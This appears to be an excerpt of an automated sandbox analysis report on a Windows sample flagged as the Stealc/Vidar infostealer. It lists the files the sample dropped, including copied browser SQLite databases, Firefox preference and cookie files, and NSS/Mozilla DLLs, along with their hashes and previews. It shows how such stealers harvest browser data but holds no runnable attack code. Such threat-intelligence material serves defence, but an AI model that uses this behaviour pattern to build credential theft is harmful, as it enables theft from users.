	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe	Get hash	malicious	Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	ND2WP0Fip7.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKKEHIECFCAAFIEBGIDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDAAKKEHDHCAAAKFCBAKKEHIEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHDAKKJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIEHJKEBAAEBGCAAEBFHJKKKEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCGDGIDGIJKKEBGDAECA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IJECAEHJJJKJKFIDGCBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEBGCBAFCGDAAKFIDGIEGDGDHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJECFIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: ND2WP0Fip7.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: ND2WP0Fip7.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947615137862201
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'860'096 bytes
